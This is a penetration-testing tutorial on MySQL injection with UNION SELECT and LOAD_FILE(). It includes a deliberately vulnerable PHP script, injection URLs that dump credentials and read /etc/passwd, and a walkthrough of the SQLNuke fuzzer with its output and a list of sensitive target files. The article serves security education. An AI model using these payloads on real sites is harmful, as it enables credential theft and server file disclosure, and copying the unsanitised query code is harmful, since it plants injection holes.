In SQL (Structured Query Language) Injection, there are many kinds of techniques that are partnered with UNION SELECT statements like LOAD_FILE(), INTO OUTFILE(), INFORMATION_SCHEMA, Char(), CAST(), and LIMIT. Most attackers usually take advantage of the union statements, information_schema, and the order by statements but neglecting some of the techniques just for the sake of getting the usernames and the passwords of the website administrator, just like the example below:

http://localhost/sqlnuke.php?id=-1+union+select+1,concat(username,0x3a,password),3,4%20from%20accounts

Below is the sample code I wrote and used for this article:

<?php
// Jay Turla made this script vulnerable on purpose :p
$id = $_GET["id"];
// Open a Connection to the MySQL Server
$con = mysql_connect("localhost", "username", "password");
if (!$con)
{
 die('Could not connect to the MySQL Server :( ' . mysql_error());
}
//Set Database
mysql_select_db("database_name", $con);
// SQL Query
$sql= "SELECT * FROM table_name where id_number = $id";
echo "<h2>I am Vulnerable to SQL Injection :)</h2><br /> ";
$res = mysql_query($sql);
while($row = mysql_fetch_array($res))
{
 echo "<strong>Username:</strong> " . $row['username'] . "<br />";
 echo "<strong>Password:</strong> " . $row['password'] . "<br />";
 echo "<strong>Signature:</strong> " . $row['mysignature'] . "<br />";
 echo "<br />";
}
// Close a Connection
mysql_close($con);
?>

Now, let’s get to the point! In this article, let’s discuss the possible things we can do using the MySQL LOAD_FILE() function and a new tool called SQLNuke.

According to w3resource, “The MySQL LOAD_FILE() reads the file and returns the file contents as a string.”

To use this function, the file must be located on the host server, user must specify the full path name of the file, and user must have the FILE privilege. The file must be readable and size must be less than max_allowed_packet (set in the my.ini file) bytes. It returns NULL if the file does not exist or can’t be read.

The syntax for this should be something like:

http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘file_name/path_name’),3,4

Wait! A path name? Yes, you read that right! In that case, it’s possible that an attacker could do a directory traversal just like the Local File Inclusion (LFI) web attack. Suppose we found out the number of columns, then we should be able to execute the union select query together with the LOAD_FILE() function to achieve the attack vector. This is a kind of technique used to gather some information on the server, like concatenating the /etc/passwd, /etc/hosts, /etc/shadow and other error log files.

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

  • Dual Certification - CEH and CPT
  • 5 days of Intensive Hands-On Labs
  • Expert Instruction
  • CTF exercises in the evening
  • Most up-to-date proprietary courseware available

Example:

http://localhost/sqlnuke.php?id=1+union+select+1,load_file(‘/etc/passwd’),3,4

It takes a lot of time to guess the files of the server and put the path name inside the load_file() function but with SQLNuke, you speed up these problems and save more time.

SQLNuke is a free and open source MySQL Injection load_file() Fuzzer written in object oriented Ruby version 1.8.7 and coded by a security researcher who goes by the handle ‘nuke99′. It is very simple to use and easy to understand.

Installation and Basic Usage:

To install SQLNuke, clone the SQLNuke repository to your local system with git clone https://github.com/nuke99/sqlnuke.git. Make sure that you have also installed git in order to clone SQLnuke, and Ruby in order to run it, because it is written in Ruby. If you don’t have git and Ruby, you can install these two packages by using the commands below if you are using a Debian based distro like Ubuntu, BackTrack, BackBox or Linux:

sudo apt-get install git-core

sudo apt-get install ruby

To get started with SQLNuke, go into the SQLNuke directory with cd sqlnuke and launch it with the command ./sql.rb.

Command Usage

Now let’s try and hit http://localhost/sqlnuke.php?id=1+union+select+1,2,3,4 as our target. We change 2 in our target link with XxxX so that it will be overwritten with the load_file() function:

root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4'
[!] localhost folder already exists
[!] No OS selected, Continue with all the possibilities
[200] - [Success]      /etc/passwd
[200] - [Failed]      /etc/shadow
[200] - [Success]      /etc/group
[200] - [Success]      /etc/hosts
[200] - [Failed]      /etc/apache2/logs/access.log
[200] - [Failed]      /etc/httpd/access.log
[200] - [Failed]      /etc/init.d/apache/httpd.conf
[200] - [Failed]      /etc/init.d/apache2/httpd.conf
[200] - [Failed]      /usr/local/apache2/conf/httpd.conf
[200] - [Failed]      /usr/local/apache/conf/httpd.conf
[200] - [Failed]      /home/apache/httpd.conf
[200] - [Failed]      /home/apache/conf/httpd.conf
[200] - [Failed]      /opt/apache/conf/httpd.conf
[200] - [Failed]      /etc/httpd/httpd.conf
[200] - [Failed]      /etc/httpd/conf/httpd.conf
[200] - [Failed]      /etc/apache/apache.conf
[200] - [Failed]      /etc/apache/httpd.conf
[200] - [Success]      /etc/apache2/apache2.conf
[200] - [Success]      /etc/apache2/httpd.conf
[200] - [Success]      /etc/apache2/sites-available/default
[200] - [Failed]      /etc/apache2/vhosts.d/default_vhost.include
[200] - [Failed]      /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
[200] - [Failed]      C:/wamp/bin/apache/logs/access.log
[200] - [Failed]      C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
[200] - [Failed]      C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
[200] - [Failed]      C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
[200] - [Failed]      C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
[+] Saved files are in 'output/localhost'

As you can see in the output after running the script, it fuzzes known system information, log files and configurations for Linux and Windows. You can also use ./sql.rb -u ‘http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4′ –os linux
if the web server runs on LAMP (Linux Apache MySQL PHP/Perl/Python) so that you don’t need to fuzz on files like C:/wamp/bin/apache/logs/access.log, C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf, C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf, and C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build, which is basically for Windows that runs on a WAMP server.

Files that can be looked up using the load_file() function are stored on the output/target_name directory. For example:

root@bt:~/sqlnuke# cd output/localhost
root@bt:~/sqlnuke/output/localhost# ls
_etc_apache2_apache2.conf _etc_apache2_sites-available_default _etc_hosts
_etc_apache2_httpd.conf _etc_group _etc_passwd
root@bt:~/sqlnuke/output/localhost# cat _etc_hosts
127.0.0.1    localhost
127.0.1.1    bt.foo.org    bt
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts


There are other known system files, configurations, and log information that need to be looked up if you want to add more files that needs to be fuzzed. To do so, you can edit the inputs/packset.lst file under the main directory of SQLNuke. As of now these are the files that are included in packset.lst:

:linux:
 - /etc/passwd
 - /etc/shadow
 - /etc/group
 - /etc/hosts
 - /etc/apache2/logs/access.log
 - /etc/httpd/access.log
 - /etc/init.d/apache/httpd.conf
 - /etc/init.d/apache/httpd.conf
 - /etc/init.d/apache2/httpd.conf
 - /usr/local/apache2/conf/httpd.conf
 - /usr/local/apache/conf/httpd.conf
 - /home/apache/httpd.conf
 - /home/apache/conf/httpd.conf
 - /opt/apache/conf/httpd.conf
 - /etc/httpd/httpd.conf
 - /etc/httpd/conf/httpd.conf
 - /etc/apache/apache.conf
 - /etc/apache/httpd.conf
 - /etc/apache2/apache2.conf
 - /etc/apache2/httpd.conf
 - /usr/local/apache2/conf/httpd.conf
 - /usr/local/apache/conf/httpd.conf
 - /opt/apache/conf/httpd.conf
 - /home/apache/httpd.conf
 - /home/apache/conf/httpd.conf
 - /etc/apache2/sites-available/default
 - /etc/apache2/vhosts.d/default_vhost.include
 - /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
:win:
 - C:/wamp/bin/apache/logs/access.log
 - C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf
 - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf
 - C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
 - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build
 - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build

Now let’s try adding /etc/tsocks.conf and /etc/pnm2ppa.conf after the line ‘/var/www/vhosts/sitename/httpdocs//etc/init.d/apache’ and before the line ‘:win:’, then launch SQLNuke with our current target:

root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4' --os linux
[!] localhost folder already exists
[!] Selected OS linux
[200] - [Success]      /etc/passwd
[200] - [Failed]      /etc/shadow
[200] - [Success]      /etc/group
[200] - [Success]      /etc/hosts
[200] - [Failed]      /etc/apache2/logs/access.log
[200] - [Failed]      /etc/httpd/access.log
[200] - [Failed]      /etc/init.d/apache/httpd.conf
[200] - [Failed]      /etc/init.d/apache2/httpd.conf
[200] - [Failed]      /usr/local/apache2/conf/httpd.conf
[200] - [Failed]      /usr/local/apache/conf/httpd.conf
[200] - [Failed]      /home/apache/httpd.conf
[200] - [Failed]      /home/apache/conf/httpd.conf
[200] - [Failed]      /opt/apache/conf/httpd.conf
[200] - [Failed]      /etc/httpd/httpd.conf
[200] - [Failed]      /etc/httpd/conf/httpd.conf
[200] - [Failed]      /etc/apache/apache.conf
[200] - [Failed]      /etc/apache/httpd.conf
[200] - [Success]      /etc/apache2/apache2.conf
[200] - [Success]      /etc/apache2/httpd.conf
[200] - [Success]      /etc/apache2/sites-available/default
[200] - [Failed]      /etc/apache2/vhosts.d/default_vhost.include
[200] - [Failed]      /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
[200] - [Success]      /etc/tsocks.conf
[200] - [Success]      /etc/pnm2ppa.conf

Success! The files /etc/tsocks.conf and /etc/pnm2ppa.conf have just been fuzzed and can be looked up using the load_file() function. Cool, right?

Conclusion

With SQLNuke, it is easier for us to look up the internal common files by using a list file which can be found under inputs/packset.lst. It is also easy to use – it fuzzes known files faster and stores the files that were found on the output directory so that you don’t need to type them on the browser. Great tool indeed! Thank you nuke99 for your contribution to the penetration testing community! I also hope to see this project mature and grow.

References:

http://blog.rootcon.org/2012/03/sql-injection-using-mysql-loadfile-and.html
(my old article about SQL Injection Using MySQL LOAD_FILE)

http://www.w3resource.com/mysql/string-functions/mysql-load_file-function.php

http://nuke99.github.com/sqlnuke/

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_load-file